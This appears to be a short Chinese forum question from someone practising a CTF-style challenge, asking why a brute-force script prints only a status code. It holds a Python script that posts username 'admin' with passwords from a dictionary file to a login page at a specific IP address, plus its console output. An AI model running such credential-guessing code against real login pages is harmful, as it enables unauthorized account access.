rt,本来想做一个暴力破解,post返回怎么是status?
import requests
data = {
"username": "admin",
"password": ""
}
url = "http://61.147.171.105:52394/check.php"
with open("D:\\hacker\\字典\\密码暴破字典\\字典超超超全\\top100.txt") as filein:
for line in filein.readlines():
data["password"] = line.split()
res = requests.post(url, data=data)
if res.text.find('password error') != -1:
pass
else:
print(res)
console:
<Response [200]>
Process finished with exit code 0